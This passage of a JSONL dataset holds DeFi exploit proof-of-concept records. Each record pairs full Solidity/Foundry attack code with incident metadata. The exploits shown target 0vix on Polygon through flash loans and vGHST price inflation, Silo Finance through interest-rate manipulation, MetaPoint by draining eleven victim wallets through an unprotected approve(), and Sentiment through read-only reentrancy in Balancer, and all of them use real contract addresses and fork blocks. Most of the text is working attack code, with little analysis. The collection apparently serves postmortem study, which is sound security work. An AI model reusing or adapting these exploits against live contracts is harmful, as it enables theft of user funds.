}\n }\n\n function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {\n if (amount0Delta > 0) {\n IERC20(Uni_Pair_V3(msg.sender).token0()).transfer(msg.sender, uint256(amount0Delta));\n } else if (amount1Delta > 0) {\n IERC20(Uni_Pair_V3(msg.sender).token1()).transfer(msg.sender, uint256(amount1Delta));\n }\n }\n\n function aaveV3Flashloan() internal {\n address[] memory assets = new address[](3);\n assets[0] = address(GHST);\n assets[1] = address(USDC);\n assets[2] = address(USDT);\n uint256[] memory amounts = new uint256[](3);\n amounts[0] = 1_950_000 * 1e18;\n amounts[1] = 6_800_000 * 1e6;\n amounts[2] = 2_300_000 * 1e6;\n uint256[] memory modes = new uint256[](3);\n modes[0] = 0;\n modes[1] = 0;\n modes[2] = 0;\n aaveV3.flashLoan(address(this), assets, amounts, modes, address(this), \"\", 0);\n }\n\n function aaveV2Flashloan() internal {\n address[] memory assets = new address[](2);\n assets[0] = address(USDC);\n assets[1] = address(USDT);\n uint256[] memory amounts = new uint256[](2);\n amounts[0] = 13_000_000 * 1e6;\n amounts[1] = 3_250_000 * 1e6;\n uint256[] memory modes = new uint256[](2);\n modes[0] = 0;\n modes[1] = 0;\n aaveV2.flashLoan(address(this), assets, amounts, modes, address(this), \"\", 0);\n }\n\n function balancerFlashloan() internal {\n address[] memory tokens = new address[](2);\n tokens[0] = address(USDC);\n tokens[1] = address(USDT);\n uint256[] memory amounts = new uint256[](2);\n amounts[0] = 4_700_000 * 1e6;\n amounts[1] = 600_000 * 1e6;\n bytes memory userData = \"\";\n Balancer.flashLoan(address(this), tokens, amounts, userData);\n }\n\n receive() external payable {}\n}\n\ncontract Exploiter {\n IERC20 GHST = IERC20(0x385Eeac5cB85A38A9a07A70c73e0a3271CfB54A7);\n IERC20 USDC = IERC20(0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174);\n IERC20 USDT = IERC20(0xc2132D05D31c914a87C6611C10748AEb04B58e8F);\n ICErc20Delegate oUSDT = ICErc20Delegate(0x1372c34acC14F1E8644C72Dad82E3a21C211729f);\n ICErc20Delegate oUSDC = ICErc20Delegate(0xEBb865Bf286e6eA8aBf5ac97e1b56A76530F3fBe);\n IVGHST vGHST = IVGHST(0x51195e21BDaE8722B29919db56d95Ef51FaecA6C);\n ICErc20Delegate ovGHST = ICErc20Delegate(0xE053A4014b50666ED388ab8CbB18D5834de0aB12);\n IUnitroller unitroller = IUnitroller(0x8849f1a0cB6b5D6076aB150546EddEe193754F1C);\n\n constructor() {\n USDC.approve(address(oUSDC), type(uint256).max);\n vGHST.approve(address(ovGHST), type(uint256).max);\n }\n\n function mint(uint256 amountOfOptions, address owner) external {\n oUSDC.mint(USDC.balanceOf(address(this)));\n address[] memory cTokens = new address[](1);\n cTokens[0] = address(oUSDC);\n unitroller.enterMarkets(cTokens);\n ovGHST.borrow(vGHST.balanceOf(address(ovGHST)));\n uint256 vGHSTAmount = vGHST.balanceOf(address(this));\n console.log(\"vGHST\", vGHST.balanceOf(address(this)));\n for (uint256 i; i < amountOfOptions; i++) {\n ovGHST.mint(vGHSTAmount);\n ovGHST.borrow(vGHSTAmount);\n }\n vGHST.transfer(owner, vGHSTAmount);\n ovGHST.transfer(owner, ovGHST.balanceOf(address(this)));\n oUSDT.borrow(USDT.balanceOf(address(oUSDT)));\n oUSDC.borrow(720_000 * 1e6);\n USDT.transfer(owner, USDT.balanceOf(address(this)));\n USDC.transfer(owner, USDC.balanceOf(address(this)));\n }\n}\n", "type": "exploit_poc", "protocol": "0vix", "date": "2023-04", "file_name": "0vix_exp.sol", "attack_vector": "flash_loan", "content_hash": "99a3dc950cef7074", "collected_at": "2026-01-07T10:59:16.547170", "_source": "postmortems", "chain": "polygon", "block_number": 42054768, "total_lost_raw": "~@2M US$", "total_lost_usd": 2000000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://polygonscan.com/tx/0x10f2c28f5d6cd8d7b56210b4d5e0cece27e45a30808cd3d3443c05d4275bb008", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "critical", "severity_raw": "~@2M US$", "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://polygonscan.com/tx/0x10f2c28f5d6cd8d7b56210b4d5e0cece27e45a30808cd3d3443c05d4275bb008", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$2.00M", "content_richness_score": 7, "quality_estimate": "medium", "title": "0vix Exploit (2023-04)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "pragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport \"forge-std/console.sol\";\n\nimport \"./../interface.sol\";\n\n// It's a postmortem, now it's disclosed, just for studying.\n// analysis and code: https://medium.com/immunefi/silo-finance-logic-error-bugfix-review-35de29bd934a\n\ninterface ISilo {\n function deposit(\n address _asset,\n uint256 _amount,\n bool _collateralOnly\n ) external returns (uint256 collateralAmount, uint256 collateralShare);\n\n function borrow(address _asset, uint256 _amount) external returns (uint256 debtAmount, uint256 debtShare);\n\n function assetStorage(\n address _asset\n ) external view returns (IBaseSilo.AssetStorage memory);\n\n function accrueInterest(\n address _asset\n ) external returns (uint256 interest);\n}\n\ninterface IBaseSilo {\n /// @dev Storage struct that holds all required data for a single token market\n struct AssetStorage {\n /// @dev Token that represents a share in totalDeposits of Silo\n IShareToken collateralToken;\n /// @dev Token that represents a share in collateralOnlyDeposits of Silo\n IShareToken collateralOnlyToken;\n /// @dev Token that represents a share in totalBorrowAmount of Silo\n IShareToken debtToken;\n /// @dev COLLATERAL: Amount of asset token that has been deposited to Silo with interest earned by depositors.\n /// It also includes token amount that has been borrowed.\n uint256 totalDeposits;\n /// @dev COLLATERAL ONLY: Amount of asset token that has been deposited to Silo that can be ONLY used\n /// as collateral. These deposits do NOT earn interest and CANNOT be borrowed.\n uint256 collateralOnlyDeposits;\n /// @dev DEBT: Amount of asset token that has been borrowed with accrued interest.\n uint256 totalBorrowAmount;\n }\n}\n\ninterface IShareToken {}\n\ncontract OtherAccount {\n ISilo immutable SILO;\n IERC20 public constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IERC20 public constant LINK = IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA);\n\n address owner;\n\n constructor(\n ISilo _silo\n ) {\n owner = msg.sender;\n SILO = _silo;\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner);\n _;\n }\n\n function depositLinkAndBorrowWETH() external onlyOwner {\n // This will inflate the ETH interest rate.\n uint256 depositAmount = LINK.balanceOf(address(this));\n LINK.approve(address(SILO), depositAmount);\n SILO.deposit(address(LINK), depositAmount, true);\n SILO.borrow(address(WETH), 1 ether);\n WETH.transfer(owner, 1 ether); // Return the borrowed amount to the exploit contract\n }\n}\n\ncontract SiloBugFixReview {\n ISilo public constant SILO = ISilo(0xcB3B879aB11F825885d5aDD8Bf3672596d35197C);\n IERC20 public constant XAI = IERC20(0xd7C9F0e536dC865Ae858b0C0453Fe76D13c3bEAc);\n IERC20 public constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IERC20 public constant LINK = IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA);\n\n OtherAccount public immutable otherAccount;\n\n constructor() {\n otherAccount = new OtherAccount(SILO);\n }\n\n modifier checkZeroAssetStorage() {\n require(SILO.assetStorage(address(WETH)).totalDeposits == 0);\n _;\n }\n\n function run() external checkZeroAssetStorage {\n uint256 accrueInterest = SILO.accrueInterest(address(WETH));\n\n console.log(\"Balance of XAI before exploit= \", XAI.balanceOf(address(this)));\n console.log(\"WETH interest rate before exploit = \", accrueInterest);\n\n uint256 depositAmount = 1e5;\n uint256 donatedAmount = 1e18;\n\n WETH.approve(address(SILO), depositAmount);\n SILO.deposit(address(WETH), depositAmount, false);\n\n WETH.transfer(address(SILO), donatedAmount);\n\n otherAccount.depositLinkAndBorrowWETH();\n }\n\n function run2() external {\n uint256 accrueInterest = SILO.accrueInterest(address(WETH));\n SILO.borrow(address(XAI), XAI.balanceOf(address(SILO)));\n\n console.log(\"Balance of XAI after exploit= \", XAI.balanceOf(address(this)));\n console.log(\"WETH interest rate after exploit = \", accrueInterest);\n }\n}\n\n// forge test --match-path test/pocs/posterms/silo-finance/BugFixReview.t.sol -vvv\ncontract SiloBugFixReviewTest is Test {\n uint256 mainnetFork;\n\n SiloBugFixReview public siloBugFixReview;\n\n uint256 constant depositAmount = 1e5;\n uint256 constant donatedAmount = 1e18;\n\n uint256 otherAccountDepositAmount = 545 * 1e18;\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 17_139_470);\n\n siloBugFixReview = new SiloBugFixReview();\n deal(address(siloBugFixReview.WETH()), address(siloBugFixReview), depositAmount + donatedAmount);\n deal(address(siloBugFixReview.LINK()), address(siloBugFixReview.otherAccount()), otherAccountDepositAmount);\n }\n\n function testAttack() public {\n address LINK = 0x514910771AF9Ca656af840dff83E8264EcF986CA;\n\n address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n console.log(\"time stamp before = \", block.timestamp);\n console.log(\"block number before = \", block.number);\n siloBugFixReview.run();\n cheats.makePersistent(address(siloBugFixReview));\n cheats.makePersistent(address(siloBugFixReview.SILO()));\n\n cheats.makePersistent(WETH);\n cheats.makePersistent(address(siloBugFixReview.SILO().assetStorage(WETH).collateralToken));\n cheats.makePersistent(address(siloBugFixReview.SILO().assetStorage(WETH).collateralOnlyToken));\n cheats.makePersistent(address(siloBugFixReview.SILO().assetStorage(WETH).debtToken));\n\n cheats.makePersistent(LINK);\n cheats.makePersistent(address(siloBugFixReview.SILO().assetStorage(LINK).collateralToken));\n cheats.makePersistent(address(siloBugFixReview.SILO().assetStorage(LINK).collateralOnlyToken));\n cheats.makePersistent(address(siloBugFixReview.SILO().assetStorage(LINK).debtToken));\n\n cheats.rollFork(block.number + 1);\n\n console.log(\"time stamp after = \", block.timestamp);\n console.log(\"block number after = \", block.number);\n siloBugFixReview.run2();\n }\n}\n", "type": "exploit_poc", "protocol": "silo_finance", "date": "2023-04", "file_name": "silo_finance_exp.sol", "attack_vector": null, "content_hash": "14a16c9bde54cfd9", "collected_at": "2026-01-07T10:59:16.547296", "_source": "postmortems", "chain": "unknown", "block_number": 17139470, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testAttack() public {\n address LINK = 0x514910771AF9Ca656af840dff83E8264EcF986CA;\n\n address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n console.log(\"time stamp before = \", block.timestamp);\n console.log(\"block number before = \", block.number);\n siloBugFixReview.run();\n cheats.makePersistent(address(siloBugFixReview));\n cheats.makePersistent(address(siloBugFixReview.SILO()));\n\n cheats.makePersistent(WETH);\n cheats.makePersistent(address(siloBugFixReview.SILO().assetStorage(WETH).collateralToken));\n cheats.makePersistent(address(siloBugFixReview.SILO().assetStorage(WETH).collateralOnlyToken));\n cheats.makePersistent(address(siloBugFixReview.SILO().assetStorage(WETH).debtToken));\n\n cheats.makePersistent(LINK);\n cheats.makePersistent(address(siloBugFixReview.SILO().assetStorage(LINK).collateralToken));\n cheats.makePersistent(address(siloBugFixReview.SILO().assetStorage(LINK).collateralOnlyToken));\n cheats.makePersistent(address(siloBugFixReview.SILO().assetStorage(LINK).debtToken));\n\n cheats.rollFork(block.number + 1);\n\n console.log(\"time stamp after = \", block.timestamp);\n console.log(\"block number after = \", block.number);\n siloBugFixReview.run2();\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 5, "quality_estimate": "medium", "title": "silo_finance Exploit (2023-04)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n/*\n@Analysis\nhttps://twitter.com/PeckShieldAlert/status/1645980197987192833\nhttps://twitter.com/Phalcon_xyz/status/1645963327502204929\n@TX (one of the txs)\ninvest\nhttps://bscscan.com/tx/0xdb01fa33bf5b79a3976ed149913ba0a18ddd444a072a2f34a0042bf32e4e7995\nwithdraw\nhttps://bscscan.com/tx/0x41853747231dcf01017cf419e6e4aa86757e59479964bafdce0921d3e616cc67*/\n\ninterface IApprove {\n function approve() external;\n}\n\ncontract ContractTest is Test {\n address pot = 0x3B5E381130673F794a5CF67FBbA48688386BEa86;\n address usdt = 0x55d398326f99059fF775485246999027B3197955;\n address pot_usdt_pool = 0x9117df9aA33B23c0A9C2C913aD0739273c3930b3;\n address wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 27_264_384 - 1);\n }\n\n function testExploit() public {\n address[11] memory victims = [\n 0x724DbEA8A0ec7070de448ef4AF3b95210BDC8DF6,\n 0xE5cBd18Db5C1930c0A07696eC908f20626a55E3C,\n 0xC254741776A13f0C3eFF755a740A4B2aAe14a136,\n 0x5923375f1a732FD919D320800eAeCC25910bEdA3,\n 0x68531F3d3A20027ed3A428e90Ddf8e32a9F35DC8,\n 0x807d99bfF0bad97e839df3529466BFF09c09E706,\n 0xA56622BB16F18AF5B6D6e484a1C716893D0b36DF,\n 0x8acb88F90D1f1D67c03379e54d24045D4F6dfDdB,\n 0xe8d6502E9601D1a5fAa3855de4a25b5b92690623,\n 0x435444d086649B846E9C912D21E1Bc651033A623,\n 0x52AeD741B5007B4fb66860b5B31dD4c542D65785\n ];\n // approve\n for (uint256 i = 0; i < victims.length; i++) {\n IApprove(victims[i]).approve();\n }\n // transfer\n for (uint256 i = 0; i < victims.length; i++) {\n uint256 amount = IERC20(pot).balanceOf(victims[i]);\n if (amount == 0) {\n continue;\n }\n IERC20(pot).transferFrom(victims[i], address(this), amount);\n }\n bscSwap(pot, usdt, IERC20(pot).balanceOf(address(this)));\n bscSwap(usdt, wbnb, IERC20(usdt).balanceOf(address(this)));\n\n uint256 wbnbBalance = IERC20(wbnb).balanceOf(address(this));\n emit log_named_decimal_uint(\"[After Attacks] Attacker WBNB balance\", wbnbBalance, 18);\n }\n\n function bscSwap(address tokenFrom, address tokenTo, uint256 amount) internal {\n IERC20(tokenFrom).approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = tokenFrom;\n path[1] = tokenTo;\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);\n }\n}\n", "type": "exploit_poc", "protocol": "MetaPoint", "date": "2023-04", "file_name": "MetaPoint_exp.sol", "attack_vector": null, "content_hash": "c1e2139eddbcb4a8", "collected_at": "2026-01-07T10:59:16.547358", "_source": "postmortems", "chain": "bsc", "block_number": 27264384, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n address[11] memory victims = [\n 0x724DbEA8A0ec7070de448ef4AF3b95210BDC8DF6,\n 0xE5cBd18Db5C1930c0A07696eC908f20626a55E3C,\n 0xC254741776A13f0C3eFF755a740A4B2aAe14a136,\n 0x5923375f1a732FD919D320800eAeCC25910bEdA3,\n 0x68531F3d3A20027ed3A428e90Ddf8e32a9F35DC8,\n 0x807d99bfF0bad97e839df3529466BFF09c09E706,\n 0xA56622BB16F18AF5B6D6e484a1C716893D0b36DF,\n 0x8acb88F90D1f1D67c03379e54d24045D4F6dfDdB,\n 0xe8d6502E9601D1a5fAa3855de4a25b5b92690623,\n 0x435444d086649B846E9C912D21E1Bc651033A623,\n 0x52AeD741B5007B4fb66860b5B31dD4c542D65785\n ];\n // approve\n for (uint256 i = 0; i < victims.length; i++) {\n IApprove(victims[i]).approve();\n }\n // transfer\n for (uint256 i = 0; i < victims.length; i++) {\n uint256 amount = IERC20(pot).balanceOf(victims[i]);\n if (amount == 0) {\n continue;\n }\n IERC20(pot).transferFrom(victims[i], address(this), amount);\n }\n bscSwap(pot, usdt, IERC20(pot).balanceOf(address(this)));\n bscSwap(usdt, wbnb, IERC20(usdt).balanceOf(address(this)));\n\n uint256 wbnbBalance = IERC20(wbnb).balanceOf(address(this));\n emit log_named_decimal_uint(\"[After Attacks] Attacker WBNB balance\", wbnbBalance, 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.41, "quality_estimate": "low", "title": "MetaPoint Exploit (2023-04)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/peckshield/status/1643417467879059456\n// https://twitter.com/spreekaway/status/1643313471180644360\n// https://medium.com/coinmonks/theoretical-practical-balancer-and-read-only-reentrancy-part-1-d6a21792066c\n// @TX\n// https://arbiscan.io/tx/0xa9ff2b587e2741575daf893864710a5cbb44bb64ccdc487a100fa20741e0f74d\n// @Summary\n// Attacker used view re-entrance Balancer bug to execute malicious code before pool balances were updated and steal money using overpriced collateral\n\ninterface IWeightedBalancerLPOracle {\n function getPrice(\n address token\n ) external view returns (uint256);\n}\n\ninterface IAccountManager {\n function riskEngine() external;\n function openAccount(\n address owner\n ) external returns (address);\n function borrow(address account, address token, uint256 amt) external;\n\n function deposit(address account, address token, uint256 amt) external;\n\n function exec(address account, address target, uint256 amt, bytes calldata data) external;\n\n function approve(address account, address token, address spender, uint256 amt) external;\n}\n\ninterface IBalancerToken is IERC20 {\n function getPoolId() external view returns (bytes32);\n}\n\ncontract ContractTest is Test {\n IERC20 WBTC = IERC20(0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f);\n IERC20 WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);\n IERC20 USDC = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);\n IERC20 USDT = IERC20(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);\n IERC20 FRAX = IERC20(0x17FC002b466eEc40DaE837Fc4bE5c67993ddBd6F);\n address FRAXBP = 0xC9B8a3FDECB9D5b218d02555a8Baf332E5B740d5;\n address account;\n bytes32 PoolId;\n uint256 nonce;\n IBalancerToken balancerToken = IBalancerToken(0x64541216bAFFFEec8ea535BB71Fbc927831d0595);\n IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n IAaveFlashloan aaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);\n IAccountManager AccountManager = IAccountManager(0x62c5AA8277E49B3EAd43dC67453ec91DC6826403);\n IWeightedBalancerLPOracle WeightedBalancerLPOracle =\n IWeightedBalancerLPOracle(0x16F3ae9C1727ee38c98417cA08BA785BB7641b5B);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"arbitrum\", 77_026_912);\n cheats.label(address(WBTC), \"WBTC\");\n cheats.label(address(USDT), \"USDT\");\n cheats.label(address(USDC), \"USDC\");\n cheats.label(address(WETH), \"WETH\");\n cheats.label(address(FRAX), \"FRAX\");\n cheats.label(address(account), \"account\");\n cheats.label(address(Balancer), \"Balancer\");\n cheats.label(address(aaveV3), \"aaveV3\");\n cheats.label(address(balancerToken), \"balancerToken\");\n cheats.label(address(AccountManager), \"AccountManager\");\n cheats.label(address(WeightedBalancerLPOracle), \"WeightedBalancerLPOracle\");\n }\n\n function testExploit() external {\n payable(address(0)).transfer(address(this).balance);\n AccountManager.riskEngine();\n address[] memory assets = new address[](3);\n assets[0] = address(WBTC);\n assets[1] = address(WETH);\n assets[2] = address(USDC);\n uint256[] memory amounts = new uint256[](3);\n amounts[0] = 606 * 1e8;\n amounts[1] = 10_050_100 * 1e15;\n amounts[2] = 18_000_000 * 1e6;\n uint256[] memory modes = new uint256[](3);\n modes[0] = 0;\n modes[1] = 0;\n modes[2] = 0;\n aaveV3.flashLoan(address(this), assets, amounts, modes, address(this), \"\", 0);\n\n console.log(\"\\r\");\n emit log_named_decimal_uint(\n \"Attacker USDC balance after exploit\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n emit log_named_decimal_uint(\n \"Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), USDT.decimals()\n );\n emit log_named_decimal_uint(\n \"Attacker WETH balance after exploit\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n emit log_named_decimal_uint(\n \"Attacker WBTC balance after exploit\", WBTC.balanceOf(address(this)), WBTC.decimals()\n );\n }\n\n function executeOperation(\n address[] calldata assets,\n uint256[] calldata amounts,\n uint256[] calldata premiums,\n address initiator,\n bytes calldata params\n ) external payable returns (bool) {\n depositCollateral(assets);\n joinPool(assets);\n exitPool();\n WETH.approve(address(aaveV3), type(uint256).max);\n WBTC.approve(address(aaveV3), type(uint256).max);\n USDC.approve(address(aaveV3), type(uint256).max);\n return true;\n }\n\n function depositCollateral(\n address[] calldata assets\n ) internal {\n WETH.withdraw(100 * 1e15);\n account = AccountManager.openAccount(address(this));\n WETH.approve(address(AccountManager), 50 * 1e18);\n AccountManager.deposit(account, address(WETH), 50 * 1e18);\n AccountManager.approve(account, address(WETH), address(Balancer), 50 * 1e18);\n PoolId = balancerToken.getPoolId();\n uint256[] memory amountIn = new uint256[](3);\n amountIn[0] = 0;\n amountIn[1] = 50 * 1e18;\n amountIn[2] = 0;\n bytes memory userDatas = abi.encode(uint256(1), amountIn, uint256(0));\n IBalancerVault.JoinPoolRequest memory joinPoolRequest_1 = IBalancerVault.JoinPoolRequest({\n asset: assets,\n maxAmountsIn: amountIn,\n userData: userDatas,\n fromInternalBalance: false\n });\n // \"joinPool(bytes32,address,address,(address[],uint256[],bytes,bool))\"\n bytes memory execData = abi.encodeWithSelector(0xb95cac28, PoolId, account, account, joinPoolRequest_1);\n AccountManager.exec(account, address(Balancer), 0, execData); // deposit 50 WETH\n }\n\n function joinPool(\n address[] calldata assets\n ) internal {\n WETH.approve(address(Balancer), 10_000 * 1e18);\n WBTC.approve(address(Balancer), 606 * 1e18);\n USDC.approve(address(Balancer), 18_000_000 * 1e6);\n uint256[] memory amountIn = new uint256[](3);\n amountIn[0] = 606 * 1e8;\n amountIn[1] = 10_000 * 1e18;\n amountIn[2] = 18_000_000 * 1e6;\n bytes memory userDatas = abi.encode(uint256(1), amountIn, uint256(0));\n IBalancerVault.JoinPoolRequest memory joinPoolRequest_2 = IBalancerVault.JoinPoolRequest({\n asset: assets,\n maxAmountsIn: amountIn,\n userData: userDatas,\n fromInternalBalance: false\n });\n Balancer.joinPool{value: 0.1 ether}(PoolId, address(this), address(this), joinPoolRequest_2);\n console.log(\n \"Before Read-Only-Reentrancy Collateral Price \\t\", WeightedBalancerLPOracle.getPrice(address(balancerToken))\n );\n }\n\n function exitPool() internal {\n balancerToken.approve(address(Balancer), 0);\n address[] memory assetsOut = new address[](3);\n assetsOut[0] = address(WBTC);\n assetsOut[1] = address(0);\n assetsOut[2] = address(USDC);\n uint256[] memory amountOut = new uint256[](3);\n amountOut[0] = 606 * 1e8;\n amountOut[1] = 5000 * 1e18;\n amountOut[2] = 9_000_000 * 1e6;\n uint256 balancerTokenAmount = balancerToken.balanceOf(address(this));\n bytes memory userDatas = abi.encode(uint256(1), balancerTokenAmount);\n IBalancerVault.ExitPoolRequest memory exitPoolRequest = IBalancerVault.ExitPoolRequest({\n asset: assetsOut,\n minAmountsOut: amountOut,\n userData: userDatas,\n toInternalBalance: false\n });\n Balancer.exitPool(PoolId, address(this), payable(address(this)), exitPoolRequest);\n console.log(\n \"After Read-Only-Reentrancy Collateral Price \\t\", WeightedBalancerLPOracle.getPrice(address(balancerToken))\n );\n address(WETH).call{value: address(this).balance}(\"\");\n }\n\n fallback() external payable {\n if (nonce == 2) {\n console.log(\n \"In Read-Only-Reentrancy Collateral Price \\t\", WeightedBalancerLPOracle.getPrice(address(balancerToken))\n );\n borrowAll();\n }\n nonce++;\n }\n\n function borrowAll() internal {\n AccountManager.borrow(account, address(USDC), 461_000 * 1e6);\n AccountManager.borrow(account, address(USDT), 361_000 * 1e6);\n AccountManager.borrow(account, address(WETH), 81 * 1e18);\n AccountManager.borrow(account, address(FRAX), 125_000 * 1e18);\n AccountManager.approve(account, address(FRAX), FRAXBP, type(uint256).max);\n bytes memory execData =\n abi.encodeWithSignature(\"exchange(int128,int128,uint256,uint256)\", 0, 1, 120_000 * 1e18, 1);\n AccountManager.exec(account, FRAXBP, 0, execData);\n AccountManager.approve(account, address(USDC), address(aaveV3), type(uint256).max);\n AccountManager.approve(account, address(USDT), address(aaveV3), type(uint256).max);\n AccountManager.approve(account, address(WETH), address(aaveV3), type(uint256).max);\n execData =\n abi.encodeWithSignature(\"supply(address,uint256,address,uint16)\", address(USDC), 580_000 * 1e6, account, 0);\n AccountManager.exec(account, address(aaveV3), 0, execData);\n execData =\n abi.encodeWithSignature(\"supply(address,uint256,address,uint16)\", address(USDT), 360_000 * 1e6, account, 0);\n AccountManager.exec(account, address(aaveV3), 0, execData);\n execData =\n abi.encodeWithSignature(\"supply(address,uint256,address,uint16)\", address(WETH), 80 * 1e18, account, 0);\n AccountManager.exec(account, address(aaveV3), 0, execData);\n execData = abi.encodeWithSignature(\n \"withdraw(address,uint256,address)\", address(USDC), type(uint256).max, address(this)\n );\n AccountManager.exec(account, address(aaveV3), 0, execData);\n execData = abi.encodeWithSignature(\n \"withdraw(address,uint256,address)\", address(USDT), type(uint256).max, address(this)\n );\n AccountManager.exec(account, address(aaveV3), 0, execData);\n execData = abi.encodeWithSignature(\n \"withdraw(address,uint256,address)\", address(WETH), type(uint256).max, address(this)\n );\n AccountManager.exec(account, address(aaveV3), 0, execData);\n }\n}\n", "type": "exploit_poc", "protocol": "Sentiment", "date": "2023-04", "file_name": "Sentiment_exp.sol", "attack_vector": "flash_loan", "content_hash": "c8a76b858de145be", "collected_at": "2026-01-07T10:59:16.547408", "_source": "postmortems", "chain": "arbitrum", "block_number": 77026912, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4, "quality_estimate": "low", "title": "Sentiment Exploit (2023-04)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/cmichelio/status/1646422861219807233\n// https://twitter.com/BeosinAlert/status/1646481687445114881\n\n// @TX\n// https://etherscan.io/tx/0x055cec4fa4614836e54ea2e5cd3d14247ff3d61b85aa2a41f8cc876d131e0328\n// https://etherscan.io/tx/0xd55e43c1602b28d4fd4667ee445d570c8f298f5401cf04e62ec329759ecda95d\n\ninterface IIEarnAPRWithPool {\n function recommend(\n address _token\n ) external view returns (string memory choice, uint256 capr, uint256 iapr, uint256 aapr, uint256 dapr);\n}\n\ninterface IyToken {\n function approve(address spender, uint256 amount) external returns (bool);\n function balanceAave() external view returns (uint256);\n function balance() external view returns (uint256);\n function balanceOf(\n address who\n ) external view returns (uint256);\n function decimals() external view returns (uint8);\n function deposit(\n uint256 _amount\n ) external;\n function getPricePerFullShare() external view returns (uint256);\n function withdraw(\n uint256 _shares\n ) external;\n function rebalance() external;\n}\n\ninterface IAaveLendingPoolCoreV1 {\n function getUserBorrowBalances(address _reserve, address _user) external view returns (uint256, uint256, uint256);\n}\n\ninterface IbZxiUSDC {\n function mint(address receiver, uint256 depositAmount) external returns (uint256 mintAmount);\n function balanceOf(\n address _owner\n ) external view returns (uint256);\n function tokenPrice() external view returns (uint256 price);\n function transfer(address _to, uint256 _value) external returns (bool);\n}\n\ncontract ContractTest is Test {\n uint256 internal constant FLASHLOAN_DAI_AMOUNT = 5_000_000 * 1e18;\n uint256 internal constant FLASHLOAN_USDC_AMOUNT = 5_000_000 * 1e6;\n uint256 internal constant 